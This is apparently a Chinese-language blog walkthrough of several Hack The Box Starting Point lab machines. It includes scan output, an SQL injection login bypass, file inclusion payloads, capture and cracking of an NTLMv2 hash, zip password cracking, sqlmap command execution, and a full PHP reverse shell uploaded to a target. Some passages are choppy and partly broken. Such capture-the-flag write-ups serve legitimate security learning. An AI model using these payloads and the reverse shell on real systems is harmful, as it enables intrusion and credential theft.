What is one of the most common typeofSQL vulnerabilities? :SQL injection
Task 3
1 2
What is the 2021 OWASP Top 10 classification forthis vulnerability? :A03:2021-Injection
Task 4
1 2 3 4 5 6 7 8 9 10 11
┌──(root㉿butt3rf1y)-[/home/butt3rf1y] └─# nmap -sS -sV -Pn 10.129.84.247 Starting Nmap 7.94SVN ( https://nmap.org ) at2025-02-1900:37 CST Nmap scan report for10.129.84.247 Host is up (0.60s latency). Not shown: 999 closed tcp ports (reset) PORT STATE SERVICE VERSION 80/tcp open http Apache httpd 2.4.38 ((Debian))
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in15.07 seconds
1 2
What does Nmap report asthe service andversionthat are runningon port 80ofthe target? : Apache httpd 2.4.38 ((Debian))
Task 5
1 2
What is the standard port used forthe HTTPS protocol? :443
Task 6
1 2
What is afolder called in web-application terminology? :directory
Task 7
1 2
What is the HTTP response code isgivenfor'Not Found' errors? :404
Task 8
1 2
Gobuster is one tool used to brute force directories on a webserver. What switch do we usewith Gobuster to specify we're looking to discover directories, andnot subdomains? :dir
Task 9
1 2
What single character can be used to comment out the rest ofalinein MySQL? :#
Task 10
直接访问 80 端口，一个登录框输入 admin'#
1 2
Ifuserinputisnot handled carefully, it could be interpreted as a comment. Use a commenttologinasadminwithout knowing the password. What is the first word on the webpage returned? :Congratulations!
Submit Flag
1 2
Submit root flag :e3d0796d002a446c0e622226f42e9672
Sequel
Task 1
1 2
During our scan, which port do we find serving MySQL? :3306
Task 2
扫了半天扫不出来，准确来说扫不动，一扫就卡，可以直接连接
1 2 3 4 5 6 7 8 9 10 11 12 13
┌──(root㉿butt3rf1y)-[/home/butt3rf1y] └─# mysql -h 10.129.141.247 -P 3306 -uroot WARNING: option--ssl-verify-server-cert is disabled, because of an insecure passwordless login. Welcome to the MariaDB monitor. Commands endwith ; or \g. Your MariaDB connection id is63 Serverversion: 10.3.27-MariaDB-0+deb10u1 Debian 10
Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.
Support MariaDB developers by giving a star at https://github.com/MariaDB/server Type'help;'or'\h'for help. Type'\c'to clear the currentinputstatement.
MariaDB [(none)]>
可以看到是 MariaDB
1 2
What community-developed MySQL versionisthe target running? :MariaDB
Task 3
1 2
Whenusing the MySQL command line client, what switch do we need to use inorderto specify a login username? :-u
Task 4
1 2
Which username allows us to log into this MariaDB instance without providing a password? :root
Task 5
1 2
In SQL, what symbol can we useto specify within the query that we want todisplay everything inside atable? :*
Task 6
1 2
InSQL, what symbol do we need toendeach query with? :;
Task 7
1 2 3 4 5 6 7 8 9 10
MariaDB [(none)]> show databases; +--------------------+ | Database | +--------------------+ | htb | | information_schema | | mysql | | performance_schema | +--------------------+ 4 rows in set (0.353 sec)
使用 show databases;查看数据库
1 2
There are three databases in this MySQL instance that are common across all MySQL instances. What is the name of the fourth that's unique to this host? :htb
Submit Flag
information_schema，mysql，performance_schema 这几个数据库是 MySQL 自带的，一般来说是四个默认库，还有一个 sys 库。所以我们查找东西也是从 htb ` 查找
MariaDB [(none)]> use htb Reading table information for completion of table and column names You can turn off this feature to get a quicker startup with -A
Database changed MariaDB [htb]> show tables; +---------------+ | Tables_in_htb | +---------------+ | config | | users | +---------------+ 2 rows in set (0.335 sec)
Submit root flag :c7110277ac44d78b6a9fff2232434d16
Responder
Task 1
1 2 3 4 5 6 7 8
┌──(root㉿butt3rf1y)-[/home/butt3rf1y] └─# nmap -sS -sV -Pn 10.129.40.166 Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-02-1901:52 CST Nmap scan report for10.129.40.166 Host isup (0.37s latency). Not shown: 999 filtered tcp ports (no-response) PORT STATE SERVICE VERSION 80/tcp open http Apache httpd 2.4.52 ((Win64) OpenSSL/1.1.1m PHP/8.1.1)
访问 80 端口
1 2
When visiting the web service usingthe IP address, what is the domain that we are being redirected to? :unika.htb
Task 2
1 2
Which scripting languageis being used on the serverto generate webpages? :php
Task 3
1 2
What is the name oftheURL parameter which is used toload different language versions ofthe webpage? :page
Task 4
本地文件包含 (LFI)，就是读取一些系统本地的敏感信息，一般通过路径来读取
1 2
Which of the following values for the `page` parameter would be an example of exploiting a Local File Include (LFI) vulnerability:"french.html","//10.10.14.6/somefile","../../../../../../../../windows/system32/drivers/etc/hosts","minikatz.exe" :../../../../../../../../windows/system32/drivers/etc/hosts
Task 5
远程文件包含，参数一般是一个远程的 url 地址
1 2
Which of the following values for the `page` parameter would be an example of exploiting a Remote FileInclude (RFI) vulnerability: "french.html", "//10.10.14.6/somefile", "../../../../../../../../windows/system32/drivers/etc/hosts", "minikatz.exe" ://10.10.14.6/somefile
Task 6
简单了解了一下 NTLM，New Technology LAN Manager，是微软用于 Windows 身份验证的一个协议。官方说的是：
Which flag do we usein the Responder utility to specify the network interface? :-I
Task 8
1 2
There are several tools that take a NetNTLMv2 challenge/response andtry millions of passwords to see if any of them generate the same response. One such tool is often referred toas `john`, butthe full nameis what?. :John The Ripper
Task 9
指定
1
responder -I tun0
然后访问一个不存在的文件让它报错
1
http://unika.htb/?page=//10.10.16.51/butt3rf1y
把 Hash 那串复制下来爆破，但是我用 john 破解的时候出现了如下报错
1 2 3 4 5
┌──(root㉿butt3rf1y)-[/home/butt3rf1y] └─# john b.txt Usingdefaultinputencoding: UTF-8 Loaded 1password hash (netntlmv2, NTLMv2 C/R [MD4 HMAC-MD5 32/64]) Nopassword hashes left to crack (see FAQ)
┌──(root㉿butt3rf1y)-[/home/butt3rf1y] └─# john --show b.txt Administrator:badminton:RESPONDER:25d61c9246d5479b:1D382C449A1D964839832984788288F4:010100000000000080B7BDEB8282DB01D76B82BEE9AFF7D70000000002000800340059004D00370001001E00570049004E002D00470050004B0032004F0054005600460030004800360004003400570049004E002D00470050004B0032004F005400560046003000480036002E00340059004D0037002E004C004F00430041004C0003001400340059004D0037002E004C004F00430041004C0005001400340059004D0037002E004C004F00430041004C000700080080B7BDEB8282DB01060004000200000008003000300000000000000001000000002000005AC722D42E809E0B0701CFCF2610B582B82CB93EB9627709F712E596B9E1FEC00A001000000000000000000000000000000000000900200063006900660073002F00310030002E00310030002E00310036002E00350031000000000000000000
密码是 badminton
1 2
What is the passwordfor the administrator user? :badminton
Task 10
nmap 扫
1 2
We'll use a Windows service (i.e. running on the box) to remotely access the Responder machine using the password we recovered. What port TCP does it listen on? :5985
Submit root flag :ea81b7afddd03efaa0945333ed147fac
Three
Task 1
1 2 3 4 5 6 7 8 9 10 11 12 13
┌──(root㉿butt3rf1y)-[/home/butt3rf1y] └─# nmap -sS -sV -Pn 10.129.131.234 Starting Nmap 7.94SVN ( https://nmap.org ) at2025-02-1904:49 CST Nmap scan report for10.129.131.234 Host is up (0.50s latency). Not shown: 998 closed tcp ports (reset) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0) 80/tcp openhttp Apache httpd 2.4.29 ((Ubuntu)) Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results athttps://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in16.03seconds
1 2
How many TCP ports areopen? :2
Task 2
1 2
What is the domain ofthe email address provided inthe"Contact" section ofthe website? :thetoppers.htb
Task 3
1 2
In the absence ofa DNS server, which Linux file can we use toresolve hostnames to IP addresses in order to be able to access the websites that point to those hostnames? :/etc/hosts
Sharename TypeComment --------- ---- ------- ADMIN$ Disk Remote Admin backups Disk C$ Disk Defaultshare IPC$ IPC Remote IPC Reconnecting with SMB1 for workgroup listing. do_connect: Connectionto10.129.215.139 failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND) Unable toconnectwith SMB1 -- no workgroup available
通过 IP 使用 -N 无密码连接，查看
1 2
What is the nameof the non-Administrative share available over SMB? :backups
Task 3
1 2 3 4 5 6 7 8 9 10 11 12 13
┌──(root㉿butt3rf1y)-[/home/butt3rf1y] └─# smbclient -N \\\\10.129.215.139\\backups Try "help" to get a list of possible commands. smb: \> dir . D 0 Mon Jan 20 20:20:57 2020 .. D 0 Mon Jan 20 20:20:57 2020 prod.dtsConfig AR 609 Mon Jan 20 20:23:02 2020
5056511 blocks of size 4096. 2618271 blocks available smb: \> get prod.dtsConfig getting file \prod.dtsConfig of size 609 as prod.dtsConfig (0.4 KiloBytes/sec) (average 0.4 KiloBytes/sec) smb: \> ^Z [3]+ Stopped smbclient -N \\\\10.129.215.139\\backups
<?php // php-reverse-shell - A Reverse Shell implementation in PHP // Copyright (C) 2007 pentestmonkey@pentestmonkey.net // // This tool may be used for legal purposes only. Users take full responsibility // for any actions performed using this tool. The author accepts no liability // for damage caused by this tool. If these terms are not acceptable to you, then // do not use this tool. // // In all other respects the GPL version 2 applies: // // This program is free software; you can redistribute it and/or modify // it under the terms of the GNU General Public License version 2 as // published by the Free Software Foundation. // // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // // You should have received a copy of the GNU General Public License along // with this program; if not, write to the Free Software Foundation, Inc., // 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA. // // This tool may be used for legal purposes only. Users take full responsibility // for any actions performed using this tool. If these terms are not acceptable to // you, then do not use this tool. // // You are encouraged to send comments, improvements or suggestions to // me at pentestmonkey@pentestmonkey.net // // Description // ----------- // This script will make an outbound TCP connection to a hardcoded IP and port. // The recipient will be given a shell running as the current user (apache normally). // // Limitations // ----------- // proc_open and stream_set_blocking require PHP version 4.3+, or 5+ // Use of stream_select() on file descriptors returned by proc_open() will fail and return FALSE under Windows. // Some compile-time options are needed for daemonisation (like pcntl, posix). These are rarely available. // // Usage // ----- // See http://pentestmonkey.net/tools/php-reverse-shell if you get stuck.
// // Daemonise ourself if possible to avoid zombies later //
// pcntl_fork is hardly ever available, but will allow us to daemonise // our php process and avoid zombies. Worth a try... if (function_exists('pcntl_fork')) { // Fork and have the parent process exit $pid = pcntl_fork();
if ($pid == -1) { printit("ERROR: Can't fork"); exit(1); }
if ($pid) { exit(0); // Parent exits }
// Make the current process a session leader // Will only succeed if we forked if (posix_setsid() == -1) { printit("Error: Can't setsid()"); exit(1); }
$daemon = 1; } else { printit("WARNING: Failed to daemonise. This is quite common and not fatal."); }
// Change to a safe directory chdir("/");
// Remove any umask we inherited umask(0);
// // Do the reverse shell... //
// Open reverse connection $sock = fsockopen($ip, $port, $errno, $errstr, 30); if (!$sock) { printit("$errstr ($errno)"); exit(1); }
// Spawn shell process $descriptorspec = array( 0 => array("pipe", "r"), // stdin is a pipe that the child will read from 1 => array("pipe", "w"), // stdout is a pipe that the child will write to 2 => array("pipe", "w") // stderr is a pipe that the child will write to );
if (!is_resource($process)) { printit("ERROR: Can't spawn shell"); exit(1); }
// Set everything to non-blocking // Reason: Occsionally reads will block, even though stream_select tells us they won't stream_set_blocking($pipes[0], 0); stream_set_blocking($pipes[1], 0); stream_set_blocking($pipes[2], 0); stream_set_blocking($sock, 0);
printit("Successfully opened reverse shell to $ip:$port");
while (1) { // Check for end of TCP connection if (feof($sock)) { printit("ERROR: Shell connection terminated"); break; }
// Check for end of STDOUT if (feof($pipes[1])) { printit("ERROR: Shell process terminated"); break; }
// Wait until a command is end down $sock, or some // command output is available on STDOUT or STDERR $read_a = array($sock, $pipes[1], $pipes[2]); $num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);
// If we can read from the TCP socket, send // data to process's STDIN if (in_array($sock, $read_a)) { if ($debug) printit("SOCK READ"); $input = fread($sock, $chunk_size); if ($debug) printit("SOCK: $input"); fwrite($pipes[0], $input); }
// If we can read from the process's STDOUT // send data down tcp connection if (in_array($pipes[1], $read_a)) { if ($debug) printit("STDOUT READ"); $input = fread($pipes[1], $chunk_size); if ($debug) printit("STDOUT: $input"); fwrite($sock, $input); }
// If we can read from the process's STDERR // send data down tcp connection if (in_array($pipes[2], $read_a)) { if ($debug) printit("STDERR READ"); $input = fread($pipes[2], $chunk_size); if ($debug) printit("STDERR: $input"); fwrite($sock, $input); } }
// Like print, but does nothing if we've daemonised ourself // (I can't figure out how to redirect STDOUT like a proper daemon) functionprintit ($string) { if (!$daemon) { print"$string\n"; } }
?>
把 IP 和 Port 改一下然后传上去，监听
1 2
$ su su: must be runfrom a terminal
必须要交互 shell
1
python3 -c 'import pty;pty.spawn("/bin/bash")'
1 2
find / -type f -group bugtracker 2>/dev/null ls -al /usr/bin/bugtracker
1 2
Regardless of which userstarts running the bugtracker executable, what's userprivileges will use to run? :root
Task 9
SUID (Set owner User ID up on execution) 是给予文件的一个特殊类型的文件权限。在 Linux/Unix 中，当一个程序运行的时候， 程序将从登录用户处继承权限。SUID 被定义为给予一个用户临时的（程序/文件）所有者的权限来运行一个程序/文件。简而言之用户在执行程序/文件/命令的时候，将获取文件所有者的权限以及所有者的 UID 和 GID。
简而言之就是，在使用命令时给普通用户赋予所有者的权限，比如 root 权限
1 2
What SUID stands for? :Set owner UserID
Task 10
1 2
What is the name ofthe executable being called inan insecure manner? :cat
└─# nmap-sS-sC-Pn10.129.69.163 StartingNmap7.94SVN ( https://nmap.org ) at 2025-03-05 00:23 CST Nmap scan report for 10.129.69.163 Host is up (1.9s latency). Notshown: 997 closed tcp ports (reset) PORT STATE SERVICE 21/tcp open ftp | ftp-syst: | STAT: | FTP server status: | Connected to ::ffff:10.10.16.36 | Logged in as ftpuser | TYPE: ASCII | No session bandwidth limit | Session timeout in seconds is 300 | Control connection is plain text | Data connections will be plain text | At session startup, client count was 1 | vsFTPd 3.0.3 - secure, fast, stable |_End of status | ftp-anon: Anonymous FTP login allowed (FTP code 230) |_-rwxr-xr-x 1002533 Apr 132021 backup.zip 22/tcp open ssh | ssh-hostkey: | 3072c0:ee:58:07:75:34:b0:0b:91:65:b2:59:56:95:27:a4 (RSA) | 256ac:6e:81:18:89:22:d7:a7:41:7d:81:4f:1b:b8:b2:51 (ECDSA) |_ 25642:5b:c3:21:df:ef:a2:0b:c9:5e:03:42:1d:69:d0:28 (ED25519) 80/tcp open http | http-cookie-flags: | /: | PHPSESSID: |_ httponly flag not set |_http-title: MegaCorp Login
Nmap done: 1 IP address (1 host up) scanned in 97.70 seconds
21 FTP、22 SSH、80 HTTP
1 2
Besides SSH and HTTP, what other service is hosted onthis box? :FTP
Task 2
FTP 的匿名登录
1
anonymous:anonymous
1 2
This service can be configured to allow loginwithanypasswordfor specific username. What is that username? :anonymous
Task 3
1 2 3 4 5
ftp> ls 229 Entering Extended Passive Mode (|||10202|) 150 Here comes the directory listing. -rwxr-xr-x 1 0 0 2533 Apr 13 2021 backup.zip 226 Directory send OK.
1 2
What isthenameofthefile downloaded over this service? :backup.zip
Task 4
使用 john 爆破
1 2 3
zip2john backup.zip > crack
john -wordlist=/usr/share/wordlists/rockyou.txt crack
1 2
What script comes withthe John The Ripper toolset and generates a hash froma password protected zip archive inaformatto allow for cracking attempts? :zip2john
Task 5
解压 zip 文件
1 2
unzip backup.zip 密码:741852963
拿到用户名和密码
1
admin:qwerty789
1 2
What is the passwordfor the adminuseron the website? :qwerty789
Task 6
1 2
What option can be passed to sqlmap totrytogetcommand execution via the sql injection? :--os-shell
